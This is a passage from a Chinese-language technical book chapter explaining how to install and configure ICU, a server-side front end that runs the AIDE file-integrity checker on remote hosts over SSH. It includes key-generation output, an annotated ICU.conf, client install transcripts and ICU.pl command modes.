Generating /usr/local/ICU/keys/key_get_conf and /usr/local/ICU/keys/key_get_conf. pub.

Generating /usr/local/ICU/keys/key_get_db and /usr/local/ICU/keys/key_get_db.pub.

RSA1 keys successfully generated.

Generating OpenSSH DSA keys for use with SSH protocol version 2.

Generating /usr/local/ICU/keys/dsakey_init_db and /usr/local/ICU/keys/dsakey_init_db. pub.

Generating /usr/local/ICU/keys/dsakey_check and /usr/local/ICU/keys/dsakey_check. pub.

Generating /usr/local/ICU/keys/dsakey_get_bin and /usr/local/ICU/keys/dsakey_get_bin. pub.

Generating /usr/local/ICU/keys/dsakey_get_conf and /usr/local/ICU/keys/dsakey_get_conf.pub.

Generating /usr/local/ICU/keys/dsakey_get_db and /usr/local/ICU/keys/dsakey_get_db.pub.

OpenSSH keys successfully generated.

Key generation successfully completed.

Make sure you are happy with the commands in the public keys (/usr/local/ICU/keys/*.pub)

before you distribute them (i.e. add ICU clients).

If you're not happy with the commands, edit ./ICU.conf and change them, then

remove the old keys and run ./ICU.pl -G again.

Remember that the keys other than *.pub are private, and should therefore be treated as such.

可见在这个过程中生成了两种密钥对，分别对应两个版本的SSH协议，共生成了20个文件，其中10个是公钥，10个是私钥。在倒数第五行特别提出了，一定要在ICU/keys/*.pub确定以下文件的存在。

[icu@mail ICU]$ ll keys/*.pub

-rw-rw-r-- 1 icu icu 959 Mar 3 17:17 keys/dsakey_check.pub

-rw-rw-r-- 1 icu icu 705 Mar 3 17:17 keys/dsakey_get_bin.pub

-rw-rw-r-- 1 icu icu 707 Mar 3 17:17 keys/dsakey_get_conf.pub

-rw-rw-r-- 1 icu icu 703 Mar 3 17:17 keys/dsakey_get_db.pub

-rw-rw-r-- 1 icu icu 925 Mar 3 17:17 keys/dsakey_init_db.pub

-rw-rw-r-- 1 icu icu 996 Mar 3 17:17 keys/key_check.pub

-rw-rw-r-- 1 icu icu 742 Mar 3 17:17 keys/key_get_bin.pub

-rw-rw-r-- 1 icu icu 744 Mar 3 17:17 keys/key_get_conf.pub

-rw-rw-r-- 1 icu icu 740 Mar 3 17:17 keys/key_get_db.pub

-rw-rw-r-- 1 icu icu 962 Mar 3 17:17 keys/key_init_db.pu

上面的10个文件中，前5个是支持SSH2的公钥，后面5个是支持SSH1的公钥。

一旦这些公钥部署在客户端后，将会有很多问题困扰你，原因就是修改客户端的操作，尤其是你不是客户端的管理员。例如想在新加入的客户机上改变存储文件的位置，那么就不得不重新修改配置文件ICU.conf，再删除ICU/keys/*下的文件，然后再生成密钥对。麻烦的是需要在以前部署的每台客户机上都要重新做一次，包括服务器端生成安装包，再下载到客户机上，然后再在客户机上安装，最后在ICU服务器端重新生成数据库文件，如果是有上百台机器可够受的了！

好在ICU提供了可以修改公钥文件中的命令能够部分解决这个问题，当然只是对于新加入的客户端有效了。

另外一定要把私钥保存好，最好做私钥的备份，千万不要修改私钥。

5．根据CPU结构和操作系统设定aide二进制命令

这一步可能麻烦点。在安装了AIDE软件的基础上还需要做如下的工作，根据客户端的CPU结构和所运行操作系统编译AIDE二进制文件，并且设定默认的配置文件aide.conf，将aide的二进制文件拷贝到ICU/binaries/目录，并且命名为如下结构形式。

[image: figure_0119_0054]


命令示例如下。

[icu@mail ICU]$ cp /usr/local/aide/bin/aide binaries/aide.bin-i386-linux

这是一个 linux/i386 的命令形式。对这个文件的设定，软件没有给出例子，可以参考目录ICU/configs/中文件的命名形式，只要将“aide.conf”换成“aide.bin-”，采用后边的格式就可以了。

这些二进制文件不一定是可执行的，因为后面的客户端安装脚本会修正其属性。实际上最好这些文件没有执行的权限，以避免混乱。这样，在客户端的安装包中就只有一个可执行文件了，那就是安装脚本。AIDE的配置文件存放在ICU/configs/目录下，文件的名字形式如下。

[image: figure_0120_0055]


这个目录下的文件列表如下。

[root@mail ICU]# ll -R configs/

configs/:

total 64

-rw------- 1 icu user3 5574 Jun 8 2001 aide.conf-i386-freebsd

-rw------- 1 icu user3 6269 Jun 8 2001 aide.conf-i386-linux

-rw------- 1 icu user3 5590 Jun 8 2001 aide.conf-i386-netbsd

-rw------- 1 icu user3 5663 Jun 8 2001 aide.conf-i386-openbsd

-rw------- 1 icu user3 6269 Jun 8 2001 aide.conf-sparc-linux

-rw------- 1 icu user3 6723 Jun 8 2001 aide.conf-sparc-solaris26

-rw------- 1 icu user3 6761 Jun 8 2001 aide.conf-sparc-solaris7

-rw------- 1 icu user3 6736 Jun 8 2001 aide.conf-sparc-solaris8

可以看出支持的CPU类型有x86和SPARC两种，支持的操作系统有5类，即Freebsd、Linux、Netbsd、Openbsd和Solaris。

需要注意的是，这两个文件的文件名中不要有大写字母，应该全是小写。

另外，ICU服务器在为某一个客户端生成安装包时要为客户端指派一个AIDE的配置文件，这个文件的来源就是ICU/configs/下的相应文件。这些文件只是一个示例文件，可以在这里修改将要配送到客户端aide的配置文件，也可以在客户端安装后再在客户端修改。个人认为，在服务端配送的配置文件中设定一个默认的配置，然后再在客户端根据实际情况定制添加监控的对象。

6．编辑ICU/client/welcome.mailbody文件

可能还需要编辑 ICU/client/welcome.mailbody 文件。这是 ICU/AIDE 提供的在客户端主机数据库初始化完成后向客户端管理员发送电子邮件内容的文件。这个文件中应该包括ICU在客户端的文件位置，AIDE 在客户端监控的对象等等。需要注意的是只有在文件 ICU.conf 中将变量send_welcome_mail的值设置为1时才有效。如果是只在自己的机器上运行那么设置为0就可以了。

7．确定sendmail能够为ICU服务器发送邮件

8．再次运行./ICU.pl –s 进行体检（Sanity check）

[icu@mail ICU]$ ./ICU.pl -s

Initializing sanity check.

Sanity check passed.

可见已运行正常，ICU服务器端安装完毕。




9.2.2 关于使用AIDE的两点说明


有关AIDE的使用在前边的章节中已经讲过了。ICU和AIDE的关系在本章的一开始就说过，ICU只是对AIDE的一个应用或者叫扩展（从架构上来讲将AIDE扩展为一个C/S结构）。下面的两点是关于AIDE在ICU中需要注意的事项。

1．关于AIDE的配置文件

ICU提供默认的配置文件（前面已经讲过，这个文件可以是自己定制的默认配置文件），目的是很容易地在新加入的客户端上配置。当然可以修改客户端的aide.conf文件，根据实际情况进行配置，用一个已经写好的配置文件替换默认的配置文件也未尝不可。AIDE 的配置文件也经常升级，以便与新的文件系统相匹配。需要注意的是ICU 提供的示例性配置文件是根据 AIDE 0.7 写的，它被设计为客户端机器不能经常性重启（因为许多文件的 ctimes/mtimes 会在重启过程中改变）。所以一定要看好示例文件，然后再修改定制符合用户的配置文件。

AIDE的配置文件的结构（无论是x86还是SPARC）通常不受影响，因此Linux可以在i386和 SPARC 使用同一个配置文件。但是如果 Linux 运行于其他结构上，这两个文件aide.conf-i386-linux和aide.conf-sparc-linux必须存在。

2．关于AIDE的二进制文件（aide命令）

ICU/binaries/目录下的二进制文件不能修改，除非客户端也进行修改。因为如果不同时修改，那么会出现MD5指纹不匹配。因此，如果升级ICU服务器端的二进制文件，那么也要升级客户端的二进制文件。说的总是比做的容易。对于新加入的客户端当然可以用了升级后的AIDE了，但是升级以前的客户端就麻烦了。可以通过文件ICU.hosts做一些修改，例如根据CPU结构可以叫做i386_versionX，或者是其他的写法。示例如下。

[root@mail ICU]# more ICU.hosts

#nas:mm@xx.com:linux:i386:22:1

nas:mm@xx.com:linux:i386-v2:22:1

可能将来的版本中会出现更容易的升级方法，例如，可能会是通过推或拉的形式。

在 ICU/configs/目录下的配置文件（在新建客户端时通过 tar 安装包添加的默认配置文件），可以不通过升级客户端而进行修改，换句话说就是可以直接在客户端修改。因为客户端的配置文件会和自己主机名（也可能是IP）下的一个叫aide.conf.current的文件进行比较，而不是ICU/configs/目录下的文件。

注意ICU/databases/<hostname>/aide.conf.current这个配置文件。




9.2.3 SSH的两个版本


没有什么理由再使用 ssh1 了,当然如果你的机器只支持 ssh1，那就没办法了。但是如果愿意或者是存在可能性，建议还是升级为ssh2。因此，如果系统支持，那么在开始配置时就应该配置成ssh2。

如果SSH协议版本配置为1（在ICU.hosts文件中设置为1），那么会有RSA1的key文件和OpenSSH DSA 得key文件（如果OpenSSH有效），因此客户端主机的管理员就可以在执行包中的安装脚本时选择密钥的类型；然而如果是配置为2（在ICU.hosts设置为2）,那么只有OpenSSH DSA密钥可用。

示例如下。

在ICU.hosts文件中添加如下条目。

192.168.3.138:mm@xxx.com:linux:i386:22:1

然后执行如下命令。

[icu@mail ICU]$ ./ICU.pl -n -r 192.168.3.138

Creating new tarball for 192.168.3.138: OS=linux, architecture=i386, ssh_version=1

Adding AIDE binary.

Adding AIDE configuration.

Adding RSA1 keys.

Adding OpenSSH DSA keys.

Adding client install script.

Saved tarball as /usr/local/ICU/databases/192.168.3.138/192.168.3.138.icu-install.tar.

Compressing the tarball (suffix will probably change)...done.

This file should now be untared and installed on the host 192.168.3.138.

看一下192.168.3.138.icu-install.tar包的内容。

[root@mail 192.168.3.138]$ tar -zxf 192.168.3.138.icu-install.tar.gz

[root@mail 192.168.3.138]$ tree 192.168.3.138.icu-install

192.168.3.138.icu-install

|-- README

|-- files

|　|-- aide.bin

|　|-- aide.conf

|　|-- dsakey_check.pub

|　|-- dsakey_get_bin.pub

|　|-- dsakey_get_conf.pub

|　|-- dsakey_get_db.pub

|　|-- dsakey_init_db.pub

|　|-- key_check.pub

|　|-- key_get_bin.pub

|　|-- key_get_conf.pub

|　|-- key_get_db.pub

|　'-- key_init_db.pub

'-- icu-install.sh

1 directory, 14 files

可见比ssh 2多了5 个文件，这5 个文件就是RSA1 的公钥key文件。

那么在这二者之一中，管理员就可以选择其中的一种了。

这个在服务器端生成的tar文件要发送给相应的客户端，可以通过scp、ftp或者是E-mail方式。然后在客户端解压安装，在解压后的目录中执行 icu-install.sh 脚本。这个脚本会把 AIDE 二进制命令放置为/var/adm/.icu/aide.bin，配置文件放置为/var/adm/.icu/aide.conf（这两者需要在服务器端ICU.conf文件的变量host_basedir指定为/var/adm/.icu)，在执行脚本的过程中需要交互式地填入一些选项。

先来看一个在文件ICU.hosts中配置另外支持ssh2的例子。

[root@nas nas.icu-install]# sh icu-install.sh

Client installer for ICU.

This particular installation is only for linux on i386.

The tarball was created for the host nas.

Client is configured to use SSH protocol version 2 - OpenSSH DSA keys will be added.

Last chance - do you want to continue the installation? (Y/n)

Y　　　　　　　　　　　//客户端使用协议2，回答y

Copying AIDE files to files to /usr/local/aide/...

Appending public OpenSSH DSA (SSH2) keys to /root/.ssh/authorized_keys2...

Your host is now configured as an ICU client and you should inform the

ICU administrator (mm@xx.com) that you're done with the installation.

The ICU administrator can now initialize your filesystem database and

then run checks on it from the ICU server. You might want to customize

/usr/local/aide/aide.conf first. Make sure you have sshd listening on

this host and that incoming SSH traffic is allowed from the ICU server

(192.168.3.139).

You may remove the directory /root/nas.icu-install

and the tarball now. You should of course contact the ICU administrator

if there were any error messages during the installation.

You should also check that you really accept the new entries that have

been added to the files /root/.ssh/authorized_keys and/or

/root/.ssh/authorized_keys2!

在上面的结束部分指出，需要检查一下ssh的公钥key是否加入，ssh的公钥会根据协议的版本加入～/.ssh/authorized_keys 或者是～/.ssh/authorized_keys2 文件。由于在安装过程中选择的是协议2，那么查看～/.ssh/authorized_keys2就可以了。

再来看一个在文件ICU.hosts中配置支持ssh1的例子。

[root@www 192.168.3.138.icu-install]# sh icu-install.sh

Client installer for ICU.

This particular installation is only for linux on i386.

The tarball was created for the host 192.168.3.138.

Client is configured to use SSH protocol version 1 - RSA keys will be added.

OpenSSH DSA keys found. If you also install them you will be able to

use SSH protocol version 2 if you're using OpenSSH-2.X or upgrading

to OpenSSH-2.X in the future.

Do you also want to install the OpenSSH DSA keys? (Y/n)

y

OpenSSH DSA keys will also be added but remember that your host is

currently configured to use SSH protocol version 1, so you must

contact the ICU administrator if you want to change that.

Last chance - do you want to continue the installation? (Y/n)

y

Copying AIDE files to files to /usr/local/aide/...

Appending public RSA (SSH1) keys to /root/.ssh/authorized_keys...

Appending public OpenSSH DSA (SSH2) keys to /root/.ssh/authorized_keys2...

Your host is now configured as an ICU client and you should inform the

ICU administrator (mm@xx.com) that you're done with the installation.

The ICU administrator can now initialize your filesystem database and

then run checks on it from the ICU server. You might want to customize

/usr/local/aide/aide.conf first. Make sure you have sshd listening on

this host and that incoming SSH traffic is allowed from the ICU server

(192.168.3.139).

You may remove the directory /root/192.168.3.138.icu-install

and the tarball now. You should of course contact the ICU administrator

if there were any error messages during the installation.

You should also check that you really accept the new entries that have

been added to the files /root/.ssh/authorized_keys and/or

/root/.ssh/authorized_keys2!

可以看出分别将ssh1和ssh2公钥添加到了/root/.ssh/authorized_keys和/root/.ssh/authorized_keys2中。

此外，在客户端安装的过程中完成了数据库初始化，完整性检测，给指定的位置拷贝了一个二进制的aide.bin命令，一个配置文件aide.conf和一个文件系统数据库aide.db，结果如下。

[root@www ～]# ls -R /usr/local/aide/

/usr/local/aide/:

aide.bin aide.conf aide.conf.dist aide.db aide.db.new

需要注意的是，这种密钥不用输入密钥短语，因为只有这样才能符合要求：通过cron设定工作时间，然后自动检测，再将完整性报告发往ICU服务器。因为只有ICU服务器有ssh的私钥，所以只有在服务器端才能执行客户端的完整性检测。




9.3 默认配置文件的注解


这是ICU-0.5中默认的配置文件，首先要明白配置文件中的配置变量及参数的含义，然后才可以根据实际环境修改。这是一个完整的默认配置文件实例，认真阅读它对于你对ICU的理解和使用非常有必要。有些变量不用修改，而有些变量必须修改。有设置服务器端的参数，也有设置客户端的参数。

[root@mail ICU-0.5]# cat ICU.conf

# 这是ICU v0.5 服务器端的配置文件

# #注释和行间空白及结尾的空行都将被忽略。

#

# 可以加入自己的变量（只是不要删除任何现有的变量）

# 例如定义变量如下。

# foo = blabla

# 然后使用变量如下。

# something = %foo%

# 这样使用后foo 的值便是"blabla"了。

# %port%, %hostname% and %host_basedir% 这些变量都是这么从文件ICU.hosts 中读取的。

#

# 修改完配置文件后，可以通过命令"./ICU.pl -s"进行体检（sanity check）。

#

# "ICU admin"的意思是ICU 服务器的管理员。

# "host admin"的意思是远程机器（ICU 的客户端）的管理员（当然，这可能是相同的人）。

# 下列变量必须修改。

# ～～～～～～～～～～～～～～～～～～～～～～

# 安装ICU 的目录，例如/usr/local/ICU。

icu_basedir = /usr/local/ICU

# ICU 服务机器名或者是IP 地址。

#这个值将会在客户端的安装脚本和其他地方使用。

icu_server_name = icuserver.example.com

# ICU 服务器管理员的E-mail 地址。

# ICU 服务器将出现的问题发送到这个地址，还可能包含一些其他信息（在这个配置文件的后续部分）。

admin_email = icu-admin@example.com

#确定下列文件在指定的位置。

# ～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～

#（不要添加任何开关命令；命令的格式是path/filename）

# 用于计算MD5 指纹的命令。

#通过 “which md5sum”o 或者“which md5”命令可以找到md5sum 的命令所在路径。

md5sum = /usr/bin/md5sum

# OpenSSH 的ssh 命令。

ssh = /usr/bin/ssh

# OpenSSH 的scp 命令。

scp = /usr/bin/scp　//ICU调用scp将客户端的aide.bin、aide.conf和aide.db拷贝到服务器端。

# OpenSSH 的ssh-keygen 命令

ssh_keygen = /usr/bin/ssh-keygen　　//ICU调用ssh-keygen生成密钥对。

# Tar 命令

tar = /bin/tar　　　　　　//调用tar命令压缩为客户端生成的安装包。

# Sendmail 命令.

sendmail = /usr/sbin/sendmail　　　//调用sendmail发送邮件。

# 用来压缩数据库文件的命令（只有变量compress_databases=1 时才有效）。

# 语法如下。

# compress <file>

# 可能的压缩命令是：/path/gzip 或 /path/bzip2.

compress = /usr/bin/gzip　　　　//调用gzip压缩数据库文件。

# Logger 命令，用于syslog 日志

logger = /usr/bin/logger　　　　//调用logger投递日志。

# Syslog 优先级，例如“user.notice”或“security.info”。

#默认注释掉的，被注释掉后使用的是logger默认的优先级。

#syslog_priority = user.notice

# 下列变量需要定制，变量的值有两种：0 和1，其中0=no，1=yes。

# ～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～

# 0/1 是否使用syslog?

#　如果设置为1，那么写入ICU.log的日志也将写入syslog

#　同时也要确定一下上面设置的“logger”命令位置是否正确。

use_syslog = 1

#0/1 数据库初始化完成后，是否发送“Welcome to ICU”电子邮件给客户端管理员，

#这封电子邮件将包含AIDE 和ICU 有用的信息。如果是只在自己的机器上使用ICU，

#那么你可能不想这么做。

#如果设置为1，那么要确定welcome_mail_body的正确性。

send_welcome_mail = 1

# 0/1 如果远程主机上的数据库的MD5 指纹发生变化，是否给ICU 管理员发送电子邮件。

#　通常host管理员会自动收到邮件。

mail_to_icu_admin_db_md5 = 1

# 0/1 如果远程主机上的配置文件的MD5 指纹发生变化，是否给ICU 管理员发送电子邮件。

#　通常host管理员会自动收到邮件。

mail_to_icu_admin_conf_md5 = 1

# 0/1 如果在远程主机上执行AIDE 超时，是否给ICU 管理员发送电子邮件。

#　通常host管理员会自动收到邮件。

mail_to_icu_admin_check_timeout = 1

# 0/1 如果文件传输超时，是否给ICU 管理员发送电子邮件。

#　这可能意味着变量getfiles_timeout的值是在增长的，

#　因此mail_to_icu_admin_getfiles_timeout应该设置为1。

#　通常host管理员会自动收到邮件。

mail_to_icu_admin_getfiles_timeout = 1

#0/1 如果远程机器上sshd 的端口关闭了，是否给ICU 管理员发送电子邮件。

#　通常host管理员会自动收到邮件。

mail_to_icu_admin_port_closed = 1

#　如果是scp命令有任何输出，是否给ICU管理员发送电子邮件。

#　这可能意味着有错误，因此要设置为1。

#　通常host管理员会自动收到邮件。

mail_to_icu_admin_scp_output = 1

# 0/1 如果是任何AIDE 文件没有收到，是否给ICU 管理员发送电子邮件。

#　这意味着远程主机中的文件被删除或者是由于其他原因传输失败。

#　通常host管理员会自动收到邮件。

mail_to_icu_admin_missing_files = 1

# 0/1 如果检测后的时间戳（timestamp）比检测前的时间还要靠近现在的时间，

#　是否给ICU管理员发送电子邮件。

#　通常host管理员会自动收到邮件。

mail_icu_admin_invalid_timestamp = 1

#　如果在客户端检测的过程中发现锁文件（lock file）,

#　是否给ICU管理员发送电子邮件。

#　通常host管理员会自动收到邮件。

lockfile_also_notify_host_admin = 1

# 0/1 即使在检测完成后客户段主机上没有变化，

#　是否总是给host管理员发送邮件报告。

#　如果你不经常检查主机，检查已经做了,这样可以很高兴得到确认。

allow_empty_reports = 0

#0/1 建立了客户端文件后，是否压缩成tar 包文件。

#　如果设置为1，那么就要确定前面“compress”命令的正确配置。

compress_tarballs = 1

# 0/1 是否压缩ICU 服务器上的数据库，

#　这将会节约磁盘空间。

#　如果设置为1，那么就要确定前面“compress”命令的正确配置

compress_databases = 1

# 0/1 如果远程机器上的AIDE 二进制文件发生了改变，是否继续进行检测。

#　注意：这个一定要设置为0，除非是测试或者是升级AIDE命令。

continue_if_binary_changed = 0

# 设定传输文件的时间，单位是秒。

# 所有文件（AIDE 二进制文件、配置文件和数据库文件）必须在这个时间内传输完毕，

# 否则将放弃这项工作。

getfiles_timeout = 1200

# 设定客户端检测的时间，单位是秒。

check_timeout = 4800

#等待连接SSH端口成功的时间，单位是秒。

#如果在这个时间内没有连接成功，则说明端口是关闭的。

check_port_timeout = 15

#远程主机上文件的存储位置。

#注意：如果密钥被建立且分发下去后，就不要再修改这个位置了。

host_basedir = /var/adm/.icu

#设置ICU 服务器发出邮件中“mail from”部分的内容。

mail_from = The ICU server

# 0/1 忽略从AIDE 发出关于文件[acm]时间的警告功能。

#　可能不需要改变它们的值，所设置为0。

#　（这个“Ignored”忽略的意思是，它们将在e-mails/logs中不再出现）

ignore_future_atimes = 0

ignore_future_ctimes = 0

ignore_future_mtimes = 0

# 0/1 忽略AIDE 的警告“traverse_tree():no such file or directory”。

#　这种情况是在配置文件aide.conf 中配置了不存在的对象时出现的警告提示。

#　默认设置的是1。

#　（这里的“忽略‘Ignored’”的意思是不会发送在邮件中，也不会写在日志中）

ignore_traverse_tree_warnings = 1

# 0/1 如果任何一个ignore_future_[a/c/m]times 或者是ignore_traverse_tree_warnings

#　设置为1，那么就会运行在详细模式（verbose mode）下。

#　如果设置为1，就不会在电子邮件和日志中记录警告信息，

#　如果设置为0，那么正好好相反。

silent_suppressing = 0

#在进行./ICU.pl –G 生成密钥时使用的其他额外参数（其目的是给予更多的约束）

#一般的形式如下。

# key_options = no-pty,no-port-forwarding,no-X11-forwarding,no-agent-forwarding

#也可以加上"from= address(es)"，但是加上这个后一定要注意，如果是ICU 服务器

#的IP发生改变了，那就会带来很多麻烦。

#有关ssh 的更多参数可以参考“man sshd”。

#一旦产生了密钥对后，这个变量就没什么作用了。

key_options = no-pty,no-port-forwarding,no-X11-forwarding,no-agent-forwarding

#下列变量也可以修改（但可能没多大必要）。

# ～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～

# 客户端ICU 主机的配置文件。

icuhosts = %icu_basedir%/ICU.hosts

# 临时文件的存放目录（临时目录）。

# 此目录的权限必须是0700（注意不是/tmp）。

tmp_dir = %icu_basedir%/tmp

# 存放日志文件的目录。

log_dir = %icu_basedir%/logs

# AIDE 二进制文件的路径。

bin_dir = %icu_basedir%/binaries

# AIDE 配置文件的路径。

config_dir = %icu_basedir%/configs

# ICU 客户端数据库的路径。

database_dir = %icu_basedir%/databases

# SSH 密钥的路径。

key_dir = %icu_basedir%/keys

# ICU 客户端安装脚本。

icu_client_installscript = %icu_basedir%/client/ICU.installscript

#“Welcome to ICU”电子邮件body 部分，这个文件应该根据实际情况编辑一下。

welcome_mail_body = %icu_basedir%/client/welcome.mailbody

# 电子邮件“Welcome to ICU”的Subject 部分内容。

welcome_mail_subject = Welcome to ICU!

# 客户端的README，这个文件将会出现在客户端的安装包中。

readme_installscript = %icu_basedir%/client/README.installscript

# 密钥文件的存放路径及其文件名。

# RSA(1) keys。

rsakey_init_db_pub　= %key_dir%/key_init_db.pub

rsakey_init_db_priv　= %key_dir%/key_init_db

rsakey_check_pub　= %key_dir%/key_check.pub

rsakey_check_priv　= %key_dir%/key_check

rsakey_get_conf_pub　= %key_dir%/key_get_conf.pub

rsakey_get_conf_priv　= %key_dir%/key_get_conf

rsakey_get_bin_pub　= %key_dir%/key_get_bin.pub

rsakey_get_bin_priv　= %key_dir%/key_get_bin

rsakey_get_db_pub　= %key_dir%/key_get_db.pub

rsakey_get_db_priv　= %key_dir%/key_get_db

# OpenSSH DSA keys。

dsakey_init_db_pub　= %key_dir%/dsakey_init_db.pub

dsakey_init_db_priv　= %key_dir%/dsakey_init_db

dsakey_check_pub　= %key_dir%/dsakey_check.pub

dsakey_check_priv　= %key_dir%/dsakey_check

dsakey_get_conf_pub　= %key_dir%/dsakey_get_conf.pub

dsakey_get_conf_priv　= %key_dir%/dsakey_get_conf

dsakey_get_bin_pub　= %key_dir%/dsakey_get_bin.pub

dsakey_get_bin_priv　= %key_dir%/dsakey_get_bin

dsakey_get_db_pub　= %key_dir%/dsakey_get_db.pub

dsakey_get_db_priv　= %key_dir%/dsakey_get_db

# 下面的变量最好别改，除非你很清楚它们的作用。

# ～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～

#

#修改下面的值会影响到密钥对的生成，所以一定要在密钥生成前修改。

#为ssh1生成密钥对的命令。

#“-f <filename>”和“-c <comment>”ICU 会自己加上。

#如果运行一个旧的OpenSSH，那么不用“-t rsa”。

rsa_keygen_cmd = %ssh_keygen% -t rsa1 -N

#为ssh2 生成OpenSSH DSA 密钥对的命令。

#“-f <filename>”和“-c <comment>”ICU 会自己加上。

#如果运行一个旧的OpenSSH，那么不用“-t rsa”而用“-d”。

dsa_keygen_cmd = %ssh_keygen% -t dsa -N

# 在生成公钥时下列命令将会被加入到公钥中。

# AIDE 运行完整性检测的命令。

aide_check_cmd　=　%host_basedir%/aide.bin　-u　-c　%host_basedir%/aide.conf　-V5　-Agzip_dbout=no　-B　gzip_dbout=no　-B　database_out=file:%host_basedir%/aide.db.new　-Bdatabase=file:%host_basedir%/aide.db　　　　-B　　　　report_url=stdout;mv %host_basedir%/aide.db.new %host_basedir%/aide.db; chmod og-rwx %host_basedir%/aide.db

# AIDE 初始化数据库的命令。

aide_init_db_cmd　=　%host_basedir%/aide.bin　-i　-c　%host_basedir%/aide.conf　-V5　-Agzip_dbout=no　-B　gzip_dbout=no　-B　database_out=file:%host_basedir%/aide.db.new　-Bdatabase=file:%host_basedir%/aide.db　　　　-B　　　　report_url=stdout;mv %host_basedir%/aide.db.new %host_basedir%/aide.db

# 从客户端将文件发往ICU 服务器的命令。

send_bin_cmd = scp -f %host_basedir%/aide.bin

send_conf_cmd = scp -f %host_basedir%/aide.conf

send_db_cmd = scp -f %host_basedir%/aide.db

# ICU 服务器上执行的SSH 的命令。

# 如果写的是"Protocol=1,2"，那么优先使用"Protocol=1"，而跳过ssh2。

# 如果写的是"Protocol=2,1"，那么优先使用"Protocol=2"，而跳过ssh1。

# 不要使用"-q" 和 "-v" 参数。

# 完整性检测（远程客户端是SSH1）执行的命令。

ssh1_check_cmd　=　%ssh%　-l　root　-p　%port%　-o　Protocol=1,2　-oIdentityFile=　%rsakey_check_priv%　-o　IdentityFile=%dsakey_check_priv%　%hostname%"%aide_check_cmd%" 2>&1

# 数据库初始化（远程客户端是SSH1）执行的命令。

ssh1_init_db_cmd = %ssh% -l root -p %port% -o Protocol=1,2 -o IdentityFile=%rsakey_init_db_priv% -o IdentityFile=%dsakey_init_db_priv% %hostname% "%aide_init_db_cmd%" 2>&1

# 拷贝文件（远程客户端是SSH1）执行的命令。

ssh1_get_bin_cmd=%scp%-P%port%-oProtocol=1,2-oIdentityFile=%rsakey_get_bin_priv% -o　　　　　　　　　　　　　IdentityFile=%dsakey_get_bin_priv% root@%hostname%:%host_basedir%/aide.bin %tmp_dir%/%hostname%/ 2>&1

ssh1_get_conf_cmd = %scp% -P %port% -o Protocol=1,2 -o IdentityFile=%rsakey_get_ conf_priv% -o　　　IdentityFile=%dsakey_get_conf_priv%　　　root@%hostname%:%host_basedir%/aide.conf %tmp_dir%/ %hostname%/ 2>&1

ssh1_get_db_cmd = %scp% -P %port% -o Protocol=1,2 -o IdentityFile=%rsakey_get_db_priv% -o　　　　　　　　　　　　　IdentityFile=%dsakey_get_db_priv%root@%hostname%:%host_basedir%/aide.db %tmp_dir%/ %hostname%/ 2>&1

#完整性检测（远程客户端是SSH2）执行的命令。

ssh2_check_cmd　=　%ssh%　-l　root　-p　%port%　-o　Protocol=2,1　-o IdentityFile=　%rsakey_check_priv%　-o　IdentityFile=%dsakey_check_priv%　%hostname% "%aide_check_cmd%" 2>&1

#数据库初始化（远程客户端是SSH2）执行的命令。

ssh2_init_db_cmd = %ssh% -l root -p %port% -o Protocol=2,1 -o IdentityFile=%rsakey_init_db_priv% -o IdentityFile=%dsakey_init_db_priv% %hostname% "%aide_init_db_cmd%" 2>&1

#拷贝文件（远程客户端是SSH2）执行的命令。

ssh2_get_bin_cmd = %scp% -P %port% -o Protocol=2,1 -o IdentityFile=%rsakey_ get_bin_priv% -o　　　IdentityFile=%dsakey_get_bin_priv%　　　root@%hostname%:%host_basedir%/aide.bin %tmp_dir%/ %hostname%/ 2>&1

ssh2_get_conf_cmd = %scp% -P %port% -o Protocol=2,1 -o IdentityFile=%rsakey_ get_conf_priv% -o　　　IdentityFile=%dsakey_get_conf_priv%　　　root@%hostname%:%host_basedir%/aide.conf %tmp_dir%/ %hostname%/ 2>&1

ssh2_get_db_cmd = %scp% -P %port% -o Protocol=2,1 -o IdentityFile=%rsakey_get_db_priv% -o　　　　　　　　　　　　　IdentityFile=%dsakey_get_db_priv% root@%hostname%:%host_basedir%/aide.db %tmp_dir%/ %hostname%/ 2>&1




9.4 ICU.pl命令


该命令的格式如下。

ICU.pl　模式　选项

ICU.pl命令是一个Perl语言编写的脚本文件，但其功能强大，所有任务都由它完成。该命令工作在以下3种模式。

一般模式（General usage）；

体检模式（Sanity check）；

密钥生成模式（Key generation）。

其中一般模式又分为如下3种模式。

客户端安装包生成模式；

客户端初始化模式；

客户端完整性检测模式。

选项部分还有2种显示模式。

详细模式（Verbose mode）；

调试模式（Debug mode）。




9.4.1 一般模式（General usage）


这种模式是用来检测客户端的，因此也可以叫做检测客户端模式。

命令格式如下。

./ICU.pl -r <hostname><action> [options]

相关参数见表9.1。


表9.1 检测客户端模式的参数

[image: figure_0131_0056]





9.4.2 体检模式（Sanity check）


这种模式是用来检测服务器端及客户端配置的正确性。服务器端检测主要是检查ICU.conf文件配置的正确性；客户端检查则是检查客户端在ICU.host文件中配置的正确性。

命令格式如下。

./ICU.pl -s [-r <hostname>] [options]

相关参数见表9.2。


表9.2 体检模式的参数

[image: figure_0131_0057]





9.4.3 密钥生成模式（Key generation）


用来生成服务器和客户端的密钥（只需执行一次）。密钥的类型有rsa1和dsa两种，分别对应ssh1和ssh2。

命令格式如下。

./ICU.pl -G <type>

相关参数见表9.3。


表9.3 密钥生成模式的参数

[image: figure_0132_0058]





9.4.4 ICU.pl的另外两个参数


另外两个参数见表9.4。


表9.4 另外两个参数

[image: figure_0132_0059]





9.5 使用ICU


ICU的使用主要分为3部分，一是在ICU服务器端添加客户端，二是客户端在远程主机上的安装，三是在服务器端对客户端的操作。




9.5.1 在ICU服务器端添加客户端


添加客户端在完成了ICU服务器的安装后才可以进行。添加客户端分为如下两步。

第一步：编辑ICU.hosts加入客户端机器

添加一个新的客户端必须包含它的主机名、管理员的E-mail地址、CPU体系结构、操作系统、sshd的端口号以及sshd的版本号6部分。sshd监听端口号一般是22，其协议版本号有1或2两种选择。弄清楚这些信息后就可以编辑ICU.hosts加入客户端主机了。其语法如下。

hostname:email:OS:architecture:port:sshversion

可见6个部分之间使用“：”隔开。

例如，对于以下客户机信息。

E-mail：mm@xx.com

结构：i386

系统：Linux

机器名：box.example.com

SSH版本：2

端口：22

